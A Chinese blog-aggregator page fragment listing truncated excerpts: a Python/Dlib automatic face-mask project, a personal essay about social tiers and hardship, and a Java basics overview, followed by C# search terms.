目录 1、项目背景 2、页面设计 3、器官识别 4、退出系统 1、项目背景 2019年新型冠状病毒感染的肺炎疫情发生以来,牵动人心,举国哀痛,口罩、酒精、消毒液奇货可居。 抢不到口罩,怎么办?作为技术人今天分享如何使用Python实现自动戴口罩系统,来安慰自己,系统效果如下所示: 本系统的实现原理是借助 Dlib模块的Landmark人脸68个关键点检测库轻松识别出人脸五官
这个世界上人真的分三六九等,你信吗?
偶然间,在知乎上看到一个问题 一时间,勾起了我深深的回忆。 以前在厂里打过两次工,做过家教,干过辅导班,做过中介。零下几度的晚上,贴过广告,满脸、满手地长冻疮。   再回首那段岁月,虽然苦,但让我学会了坚持和忍耐。让我明白了,在这个世界上,无论环境多么的恶劣,只要心存希望,星星之火,亦可燎原。   下文是原回答,希望能对你能有所启发。   如果我说,这个世界上人真的分三六九等,
Java基础知识点梳理
Java基础知识点梳理 摘要: 虽然已经在实际工作中经常与java打交道,但是一直没系统地对java这门语言进行梳理和总结,掌握的知识也比较零散。恰好利用这段时间重新认识下java,并对一些常见的语法和知识点做个总结与回顾,一方面为了加深印象,方便后面查阅,一方面为了学好java打下基础。 Java简介 java语言于1995年正式推出,最开始被命名为Oak语言,由James Gosling(詹姆
相关热词 c# 时间比天数 c# oracle查询 c# 主动推送 事件 c# java 属性 c# 控制台 窗体 c# 静态类存值 c#矢量作图 c#窗体调用外部程式 c# enum是否合法 c# 如何卸载引用
立即提问